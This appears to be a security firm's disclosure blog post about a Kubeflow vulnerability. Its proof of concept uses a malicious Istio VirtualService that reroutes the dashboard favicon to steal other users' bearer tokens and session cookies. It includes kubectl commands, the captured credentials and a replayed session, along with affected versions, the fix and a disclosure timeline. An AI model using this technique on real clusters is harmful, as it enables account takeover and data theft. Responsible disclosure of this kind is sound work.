Kubeflow is vulnerable to the theft of authorization tokens by any user of the Kubeflow UI or APIs, such as the Dashboard, Pipelines API, or Notebooks. With this token, the attacker can take over the user’s account and the data that is processed by that user. The attacker needs a valid user with the kubeflow-edit or Contributor role in a random Kubeflow namespace to perform this attack. This is given if Automatic Profile Creation is enabled. A setup based on the official manifests prior to version 1.10, and on most other packaged Kubeflow distributions, is vulnerable.
The Istio edit permissions were removed by Kubeflow in a timely manner. Affected users should update to the latest version to mitigate this issue.
Technical Background
Kubeflow is an open-source platform for machine learning and MLOps on Kubernetes introduced by Google. Kubeflow offers features such as notebooks, pipelines, model registries, and Apache spark operators.
One of that components is the Kubeflow Central Dashboard. It provides an authenticated web interface for Kubeflow and ecosystem components. It acts as a hub for your machine learning platform and tools by exposing the UIs of components running in the cluster [Kubeflow Central Dashboard].
The screenshot below shows the profile snobisernw-de-ext which is assigned to a namespace in Kubernetes.
Kubeflow uses one Kubernetes namespace per Kubeflow profile. All profiles share the same cluster and Istio gateway.
Users can create their own Notebooks or pipelines to run their workloads. Kubeflow Notebooks runs interactive development environments for AI, ML, and Data workloads on Kubernetes [Notebooks].
Multiple resources are created for each profile, among them Istio AuthorizationPolicies. These restrict which users can access workloads. Contributors can be configured using email patterns. Additionally, the default-editor service account is assigned to notebooks and pipelines in each profile. These service accounts have permissions to create and manage resources in the cluster.
To expose an application in the cluster, this could be done through the Kubeflow Central Dashboard by creating a VirtualService on the Kubeflow Istio Gateway. VirtualServices define which backend handles a given URL path. With this said, anyone who can create VirtualServices can influence how traffic is routed in the cluster.
The following diagram illustrates how a service is exposed in the cluster using Istio.
As it can be noticed, the VirtualService exists in the workload namespace, whereas the Istio gateway exists in another namespace.
Prerequisites for the Attack
- A Kubeflow setup based on the official manifests (or any affected distribution)
- The attacker needs either
- a valid user with the Contributor role in one random Kubeflow namespace
- or the K8s role
kubeflow-edit/ ServiceAccountdefault-editorin one random Kubeflow namespace - or Automatic Profile Creation is enabled (
CD_REGISTRATION_FLOW=true), and the attacker can authenticate
Please note: While the Owner role is required to add the victims to the attacker-controlled namespace as Contributor, it is not a prerequisite for the attack as the Owner’s token can be stolen during the attack to perform this step.
Security Impact
With the given permission in the Istio’s API group networking.istio.io of the kubeflow-edit role, the attacker gains full control over the requests/responses routed through the Gateway kubeflow/kubeflow-gateway. As a result, the access token of all users will be disclosed to the attacker. Thus, the attacker gains full control over the users’ data and resources in Kubeflow.
Proof of Concept (PoC)
The following descriptions explain the exploitation of the issue in detail. The proof of concept (PoC) was done in a Kubeflow setup installed through the official manifests in version v1.9.1. No modifications were made except for the creation of additional users and namespaces. The namespaces were created through the Automatic Profile Creation feature, which was enabled, too (CD_REGISTRATION_FLOW=true). However, the feature is not required, and a manually created profile / the default profile works, too.
The following diagram illustrates the attack flow.
Step 1: Create a New JupyterLab Notebook
First, the attacker creates a new JupyterLab Notebook via the New Notebook function under Notebooks; see screenshot below.
Step 2: View Default Permissions
Using the Jupyter Notebook, we can examine the permissions the service account of the Notebook has per default. The command kubectl auth whoami shows the username system:serviceaccount:ernw-de-ext:default-editor with the default role ClusterRole/kubeflow-edit. The command kubectl auth can-i --list shows the permissions this user has assigned in the current namespace. Note that the user has permission to create and update resources in API group *.istio.io and *.networking.istio.io.
(base) jovyan@ernw-de-ext-notebook-0:~$ kubectl auth whoami
ATTRIBUTE VALUE
Username system:serviceaccount:ernw-de-ext:default-editor
UID 693cc8b7-da7d-4b7c-b573-cd13f57c2e61
Groups [system:serviceaccounts system:serviceaccounts:ernw-de-ext system:authenticated]
Extra: authentication.kubernetes.io/credential-id [JTI=b3f19506-d3b6-41fe-bcd7-5e981e1ccdac]
Extra: authentication.kubernetes.io/node-name [gke-demo-cloud-default-pool-2955a757-c7rr]
Extra: authentication.kubernetes.io/node-uid [f7458f80-f3dc-4e5c-9801-17847093fd53]
Extra: authentication.kubernetes.io/pod-name [ernw-de-ext-notebook-0]
Extra: authentication.kubernetes.io/pod-uid [0d57da77-0549-4f35-acf0-084e8edebd16]
(base) jovyan@ernw-de-ext-notebook-0:~$ kubectl auth can-i --list
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
[...]
*.networking.istio.io [] [] [get list watch create delete deletecollection patch update]
*.istio.io [] [] [get list watch create delete deletecollection patch update]
[...]
With those permissions, the user can create a VirtualService on the kubeflow/kubeflow-gateway even though it is deployed in a different namespace. The diagram below shows this in theory. The next step show in detail how this can be implemented.
Step 3: Create a VirtualService
A Docker image with a web application was created to hijack the sessions of other Kubeflow users in the cluster. This image logs requests with all headers.
Next, the attacker creates a deployment with that image and a VirtualService. In the given PoC, the namespace ernw-de-ext is used. This can be done via the command kubectl apply -f k8s-resource.yaml.
(base) jovyan@ernw-de-ext-notebook-0:~$ kubectl apply -f k8s-resource.yaml
virtualservice.networking.istio.io/ernw-virtualservice-poc created
destinationrule.networking.istio.io/ernw-virtualservice-poc-dr created
service/ernw-virtualservice-poc created
configmap/ernw-virtualservice-poc created
deployment.apps/ernw-virtualservice-poc created
With the command kubectl get pods, the newly created Pods can be shown:
(base) jovyan@ernw-de-ext-notebook-0:~$ kubectl get pods
NAME READY STATUS RESTARTS AGE
ernw-de-ext-notebook-0 2/2 Running 0 59m
ernw-virtualservice-poc-7649d4d497-lhfcd 1/2 Running 0 9s
ml-pipeline-ui-artifact-6b44b849d7-mvdw7 2/2 Running 0 94m
ml-pipeline-visualizationserver-5fcb5568f-r522d 2/2 Running 0 94m
The newly created VirtualService overrides the path /assets/favicon.ico that is requested by every user who uses the Kubeflow Dashboard.
As a result, the attacker’s selected favicon is shown in the Kubeflow dashboard, as seen below.
Step 4: Add User to Manage Contributors List
Currently, one obstacle is the default AuthorizationPolicy in the attacker-controlled namespace, which would reject requests from users who are not members of the Kubeflow namespace. Next, we need to add our victim’s email address to the Manage Contributors list in the Kubeflow UI so that the victim can access the favicon.
Please note that this step requires the Owner role in the attacker-controlled namespace ernw-de-ext. If the attacker only has the Contributor role or default-editor service account token, they need to steal the Owner’s token first (see next step) and then perform this step with it.
The attacker does not need to know the email addresses of his victims, as they can use wildcards to add all users from a given domain. The following screenshot shows this.
Kubeflow adjusts the corresponding AuthorizationPolicy, as can be seen in the following output:
[...]
- apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
annotations:
role: edit
user: '*@ernwlab.onmicrosoft.com'
creationTimestamp: "2025-02-28T16:05:53Z"
generation: 1
name: user-ernwlab-onmicrosoft-com-clusterrole-edit
namespace: ernw-de-ext
resourceVersion: "245913"
uid: adffd131-43b1-43a9-94f5-c702e1d35f1d
spec:
rules:
- from:
- source:
principals:
- cluster.local/ns/istio-system/sa/istio-ingressgateway-service-account
- cluster.local/ns/kubeflow/sa/ml-pipeline-ui
when:
- key: request.headers[kubeflow-userid]
values:
- '*@ernwlab.onmicrosoft.com'
[...]
The victim can now access the routes defined in the VirtualService.
Step 5: Steal Users’ Sessions
Every time a victim visits the Kubeflow UI, the favicon is loaded, and the request with the cookie is forwarded to the attacker-controlled Pod. The screenshot shows the replaced favicon in the browser’s title bar.
Afterwards, the following kubectl logs command can be used on the Pod to retrieve the stolen users’ cookies. The following output shows the logged cookie.
(base) jovyan@ernw-de-ext-notebook-0:~$ kubectl logs deployment.apps/ernw-virtualservice-poc --follow
[...]
2025/02/28 16:01:42 Request to favicon.ico from 127.0.0.6:38691:
GET /assets/favicon.ico HTTP/1.1
Host: kubeflow.gke.gcp.ernw.eu
Authorization: Bearer eyJhbGciOiJSUzI[...]
Cookie: oauth2_proxy_kubeflow=dVXjHQYpY6Bws7zFTn51iR1LRIxqhlo[...]
Kubeflow-Userid: user@example.com
Referer: https://kubeflow.gke.gcp.ernw.eu/_/jupyter/?ns=kubeflow-user-example-com
X-Auth-Request-Email: user@example.com
X-Forwarded-Client-Cert: By=spiffe://cluster.local/ns/ernw-de-ext/sa/default;Hash=d1ba1b0474c20e44d4e20bb568d19639c7ef4b95edaac300579b1b56f572c5bf;Subject="";URI=spiffe://cluster.local/ns/istio-system/sa/istio-ingressgateway-service-account
[...]
The attacker can now set the cookie in their browser to take over the victim’s session. This is demonstrated in the following HTTP communication.
HTTP Request
GET /api/workgroup/env-info HTTP/2
Host: kubeflow.gke.gcp.ernw.eu
Authorization: Bearer eyJhbGciOiJSUzI1[...]
Cookie: oauth2_proxy_kubeflow=dVXjHQYpY6Bws7zFTn5[...]
Referer: https://kubeflow.gke.gcp.ernw.eu/?ns=ernw-de-ext
[...]
HTTP Response
HTTP/2 200 OK
Date: Fri, 28 Feb 2025 16:29:04 GMT
X-Envoy-Upstream-Service-Time: 20
Server: istio-envoy
[...]
{"user":"user@example.com","platform":{"kubeflowVersion":"unknown","provider":"gce://folkloric-stone-231516/europe-west1-b/gke-demo-cloud-default-pool-2955a757-0h4h","providerName":"gce","logoutUrl":"/oauth2/sign_out"},"namespaces":[{"user":"user@example.com","namespace":"kubeflow-user-example-com","role":"owner"}],"isClusterAdmin":false}
Affected Version and Mitigation
This issue affects Kubeflow manifests version 1.9.1 and older (at least since Sep 26, 2019).
The following table shows a list of distributions that might be affected by the described vulnerability.
| Maintainer / Distribution Name | Kubeflow Version | Affected? | Target Platform | Link |
|---|---|---|---|---|
| Kubeflow Manifests | v1.9.1 | Yes | https://github.com/kubeflow/manifests/tree/v1.9.1#installation | |
| Kubeflow Manifests | master branch | Likely yes, permission is given | https://github.com/kubeflow/manifests/tree/master#installation | |
| Amazon Web Services | 1.7 | Likely yes, permission is given | Amazon Elastic Kubernetes Service (EKS) | https://awslabs.github.io/kubeflow-manifests |
| Aranui Solutions: deployKF | 1.8 | Likely yes, permission is given | Multiple | https://www.deploykf.org/ |
| Canonical: Charmed Kubeflow | 1.8 | Likely no | Multiple | https://charmed-kubeflow.io/ |
| Google Cloud | 1.8 | Likely yes, permission is given | Google Kubernetes Engine (GKE) | https://googlecloudplatform.github.io/kubeflow-gke-docs |
| IBM Cloud | 1.8 | Likely yes, permission is given | IBM Cloud Kubernetes Service (IKS) | https://ibm.github.io/manifests/ |
| Microsoft Azure | 1.7 | Likely yes, permission is given | Azure Kubernetes Service (AKS) | https://azure.github.io/kubeflow-aks/main |
| Nutanix | 1.8 | Likely yes, permission is given | Nutanix Kubernetes Engine | https://nutanix.github.io/kubeflow-manifests |
| QBO | 1.8 | Likely yes, permission is given | QBO Kubernetes Engine (QKE) | https://docs.qbo.io/#/qke?id=kubeflow |
| Red HatOpen Data Hub | 1.9 | Likely yes, permission is given | OpenShift | https://github.com/opendatahub-io/manifests |
| VMware | 1.6 | Likely yes, permission is given | VMware vSphere | https://vmware.github.io/vSphere-machine-learning-extension/ |
Kubeflow accepted the pull request !3043 that fixes this issue in a timely manner.
Affected users should update their Kubeflow manifests to the latest version.
Disclosure Timeline
- March 7th, 2025: ERNW responsibly reported this vulnerability to Kubeflow.
- March 8th, 2025: Kubeflow fixed the issue with the pull request !3043
- March 2nd, 2026: ERNW requests a CVE for the issue fixed in GitHub.
- May 19th, 2026: CVE-2026-47237 was published.
Closing
We would like to thank the Kubeflow project team for their constructive and valuable cooperation in resolving this issue.
If you liked this blog post, we will post a follow-up to this kind of problem in the second part. Stay tuned!
At this year’s TROOPERS26, ERNW will give a new training about Kubernetes Security, where we’ll dig into how to audit and assess the security of a K8s cluster.
ERNW experts have been providing security consulting and in-depth assessments of complex Kubernetes environments for a decade. Please reach out to us if your organization needs competent support in this space.